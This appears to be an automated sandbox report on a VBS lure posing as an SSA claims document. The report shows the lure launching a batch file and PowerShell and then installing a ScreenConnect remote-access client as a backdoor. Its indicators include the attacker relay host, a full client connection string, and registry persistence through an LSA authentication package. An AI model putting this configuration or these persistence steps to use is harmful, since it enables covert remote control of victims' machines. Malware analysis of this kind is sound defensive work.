a4c10608db883e2691dd4d2b600e94a6db7f3ebfae2fbc55bb0a5a43febae61b

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20251231-en
resource tags

arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system
submitted
06/01/2026, 07:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SSADocument-Claims.vbs
Size 1KB
Sample260106-jrf9laex7f
SHA256 a4c10608db883e2691dd4d2b600e94a6db7f3ebfae2fbc55bb0a5a43febae61b
MD5 57bf43a3ede5191333449fb491547944
SHA1 550486e90482cd3fa37c156b99674dd93c100709
SHA512 5c0e0642946a75ca2f79bff55b5cfa3d7e64a37d6d3bab9feeb1a0b9d6e7dde4904319a09520aa6d06c3897c22b78f72ca2038398dfec35429d60e4610d6b0da
MD5 SHA1 SHA512

Score

8^/10

backdoor discovery execution persistence privilege_escalation rat revoked_codesign

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3168	powershell.exe

Binary is signed using a ConnectWise certificate revoked for key compromise. 2 IoCs

revoked_codesign

resource	yara_rule
behavioral2/files/0x001900000002b333-118.dat	revoked_cert_connectwise
behavioral2/memory/1332-119-0x0000000004AD0000-0x0000000004BA2000-memory.dmp	revoked_cert_connectwise

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3168	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (4205d3d2c4079896)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (4205d3d2c4079896)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=app.modernbusinessevolution.com&p=8041&s=68326913-ece9-4634-b33c-03f967ca955f&k=BgIAAACkAABSU0ExAAgAAAEAAQDhh3hMHHs%2fAiaMB%2bjLJtiYAASbFBksZ8b3lNtAVk3h%2fw7Ecfly2wWL3eiZiqyZLwry1l1P%2fxowaDjBKGMMxujSCGqoLk5sYox6ZO%2fPEzbYwNRU0WNuM2R3LWvdWTqp6tHkBQW6Hesfstwvc5o8C9eS1zl6AyYTm75VLGegyxS8gj%2b0Ku9x0PeQ0opuun8p814nADXFBqFSFb6FJ8AWlDSRzShN59l1V7ouVh%2fm0IYadySrmtDT4RoDCZRhs1CfuLW5XS3xznUs2Nalwcd9ZbdF3LpGSXOVp%2bu95l2%2b56M90PdSeQ2P%2bZHP48Hf6x0OJzY6cQUyGb4BKgA13pT9MFPF&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAARJpKeLKP%2bUaBbOEMDQpvgQAAAAACAAAAAAAQZgAAAAEAACAAAACXeCpf%2bZt%2f9KlE5V%2fgGospVFZXjLErHTWYd7mxMu3RJwAAAAAOgAAAAAIAACAAAADSPhR8HsXkXiMIXldfcMU3mBPPScbponABT2RGMzQZQ6AEAADteiPGB1hs%2fsT8Ynk4OwgMsZRXH2fN6AoPsuTwgdlPteDDZwPCDpTxpvDhVI1vFPyoc3T1Aqn1GN9f4qJvA0E1VGWtD9TRLJuTMWCqat45C%2bEoTUhpFT7omMSGYC5hh%2bErkFT%2bdR6HnKB%2bUMlscO48O7mLo%2bGrtQDXOHG5v5x3%2byaHf5c4jNxDxIm3uQzys9knQ2yplEl2HvOLTrYZojVpIG1%2bIqgWD8jU1lrzPLyFlUwp8tAdhrYbhTcxOX9r%2bjej8UVb5BG9%2b2rnKrwwrAvxsqyTePvm7U%2bIyw0BGU19b%2fMPOFdkvLxgn6z9reOhcjudHuSKJZaBtaTJI%2fHH0bWmYe80sMzL3GXHKnfpA3wazJbRIKYn5F%2biOtsDKO8VZzbAQoWw9zlCgGBldOF71VJ3iaaPR49zpdNJoyHYRproztH4iMS1KDJyVPCEI2xbFiYZcxc5bxZHztf1RQlpVRRzLDDKARwOwybimn06u%2f5LCvy3m8mO6uXKQ6XhNGj4kVF6J8L8O3jZ47WlljuMviMSAgdz%2fg2ALifFDr3RI60i%2fHcsDDvNQCyZ%2bpSZHalvZvykKl7s4U9i5VQz184vDpNFob62KkCZBbZcHVi%2buipFSzMmowqCexhgSpbjCG7qPVjcDt623w8AUBSDwwZReQk01peNQSr%2fHnxmMagdZHY8aDmjheLQp9ACDBWGMU1m9z0fynZH4R%2faub3fGMiGy4NfMR4f2euvzF5HLlpj6b3VFLkBHq5h3JBDplwSmOS6TkmfUs7YzmGWmEeqZNh2ZH7Dmupli7ToCTSTAfTIp4o8fQLeMvNGrG4JXc9KVdjbkS0bchpWItg%2fXFJAoeOfJ%2fmvjXmneq%2bSLwKZBGEE3yhr30MJCXPWunOjG3cH6%2b47sD%2bZ9mAuhHgYpJW7%2fmTXziBpNEX%2fHYb0CN5BZx9b6lpJ3qDoCVcBDDAnXG9dpL4tEG24NzUUqYotJoBIh3WaEBCSrQn%2faprOcYyGZm%2bCOk5RExnA6Fsg7hZ0UkpZ7qWHVQrt8iKSVWz%2fEhFi8YIUbpCFhr5%2fC%2fjTiSasrS2jIsKuumeN%2bJdPSkM9gpojEBVgkBJZzP1ImaaKmOmb1RFoizG8EsAZEgh9zK%2fSyc1KBarivaKCIb19tKPk%2bqLaW%2fgyaJnG%2bhf%2blOytSjhUgbuSuuaIbEXSa8o%2b9gVCc%2b8C8UGgBEW%2fPR%2b7qW%2bxzzmGFTOnZ%2fXkbkPeVcKHNYOaj7JPDxxH5Q7g1T22hzutwB37mP6UO6UTobIknkZDtERH1cb4TXxflRKUV2sV8kLYwb0clsXI2wUphLDEeEAt1AeA3SMPn0ANLCWMsNzbeADIy138fne7Z5tlDusPZMzCev65l%2b%2bKfqTi77L5sUvEDbWeZit1FipfnlhGI1nURlFDfNg1P1rLQLyjXkjSK9fmphNkWb0a%2brIM26iym5spirL3gNT17agP%2fjwakYqsXUafRw7lTpaX8zDM31tLEHZhbfvlu0JBAmCM9D4usG8xOx7U56q75nbxDdaAeuQAyk8FCdXK1SpdllvrkWm1uy6X3JWLq8M3WYS5RretAuvCE%2bUiwKJ77UAAAAB7p%2b5tw7Kv6Z7f%2b6pTbpT7zoYnVkVf%2fFMy6Gw7vNJSeJdophyMngLzDR1Rge1cGzjvpZqp7dUmj18CfcKQvL9m&t=BS\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
1332	ScreenConnect.ClientService.exe
2264	ScreenConnect.WindowsClient.exe
580	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
992	MsiExec.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
992	MsiExec.exe
5304	MsiExec.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340032003000350064003300640032006300340030003700390038003900360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4205d3d2c4079896)\slafwu4u.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4205d3d2c4079896)\slafwu4u.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Client.dll	msiexec.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File created	C:\Windows\Installer\wix{18F36FBC-2628-272A-BC11-8582646DDDA2}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\e57f453.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF74646018FCA6714C.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0D0877738C744EF5.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFBE5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{18F36FBC-2628-272A-BC11-8582646DDDA2}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e57f453.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIFD10.tmp	msiexec.exe
File created	C:\Windows\Installer\e57f457.msi	msiexec.exe
File created	C:\Windows\Installer\{18F36FBC-2628-272A-BC11-8582646DDDA2}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF271F6CE7CA72F9C5.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{18F36FBC-2628-272A-BC11-8582646DDDA2}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF37674E260EE3E3AA.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF58B.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFC34.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe

Modifies registry class 38 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ssaInstall\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\ = "ScreenConnect Client (4205d3d2c4079896) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\ProductName = "ScreenConnect Client (4205d3d2c4079896)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\38319F345EF889B224503D2D4C708969	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\SourceList\PackageName = "setup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (4205d3d2c4079896)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\PackageCode = "CBF63F818262A272CB11582846D6DD2A"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\Version = "402849809"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\ProductIcon = "C:\\Windows\\Installer\\{18F36FBC-2628-272A-BC11-8582646DDDA2}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4205d3d2c4079896\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-FC79-F82F6023B264}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (4205d3d2c4079896)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CBF63F818262A272CB11582846D6DD2A	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\38319F345EF889B224503D2D4C708969\CBF63F818262A272CB11582846D6DD2A	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4205d3d2c4079896	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CBF63F818262A272CB11582846D6DD2A\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\SourceList\Media	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3622034013-663316015-3001627260-1000_Classes\Local Settings	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CBF63F818262A272CB11582846D6DD2A\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ssaInstall\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4205d3d2c4079896\shell\open\command	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3168	powershell.exe
3168	powershell.exe
4016	msiexec.exe
4016	msiexec.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe
1332	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeShutdownPrivilege	4236	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4236	msiexec.exe
Token: SeSecurityPrivilege	4016	msiexec.exe
Token: SeCreateTokenPrivilege	4236	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4236	msiexec.exe
Token: SeLockMemoryPrivilege	4236	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4236	msiexec.exe
Token: SeMachineAccountPrivilege	4236	msiexec.exe
Token: SeTcbPrivilege	4236	msiexec.exe
Token: SeSecurityPrivilege	4236	msiexec.exe
Token: SeTakeOwnershipPrivilege	4236	msiexec.exe
Token: SeLoadDriverPrivilege	4236	msiexec.exe
Token: SeSystemProfilePrivilege	4236	msiexec.exe
Token: SeSystemtimePrivilege	4236	msiexec.exe
Token: SeProfSingleProcessPrivilege	4236	msiexec.exe
Token: SeIncBasePriorityPrivilege	4236	msiexec.exe
Token: SeCreatePagefilePrivilege	4236	msiexec.exe
Token: SeCreatePermanentPrivilege	4236	msiexec.exe
Token: SeBackupPrivilege	4236	msiexec.exe
Token: SeRestorePrivilege	4236	msiexec.exe
Token: SeShutdownPrivilege	4236	msiexec.exe
Token: SeDebugPrivilege	4236	msiexec.exe
Token: SeAuditPrivilege	4236	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4236	msiexec.exe
Token: SeChangeNotifyPrivilege	4236	msiexec.exe
Token: SeRemoteShutdownPrivilege	4236	msiexec.exe
Token: SeUndockPrivilege	4236	msiexec.exe
Token: SeSyncAgentPrivilege	4236	msiexec.exe
Token: SeEnableDelegationPrivilege	4236	msiexec.exe
Token: SeManageVolumePrivilege	4236	msiexec.exe
Token: SeImpersonatePrivilege	4236	msiexec.exe
Token: SeCreateGlobalPrivilege	4236	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeShutdownPrivilege	5304	MsiExec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe
Token: SeRestorePrivilege	4016	msiexec.exe
Token: SeTakeOwnershipPrivilege	4016	msiexec.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 5096	3184	WScript.exe	77
PID 5096 wrote to memory of 3168	5096	cmd.exe	79
PID 5096 wrote to memory of 4236	5096	cmd.exe	80
PID 4016 wrote to memory of 992	4016	msiexec.exe	82
PID 992 wrote to memory of 3312	992	MsiExec.exe	83
PID 4016 wrote to memory of 5304	4016	msiexec.exe	84
PID 1332 wrote to memory of 2264	1332	ScreenConnect.ClientService.exe	86
PID 1332 wrote to memory of 580	1332	ScreenConnect.ClientService.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SSADocument-Claims.vbs"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ssaInstall\install.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
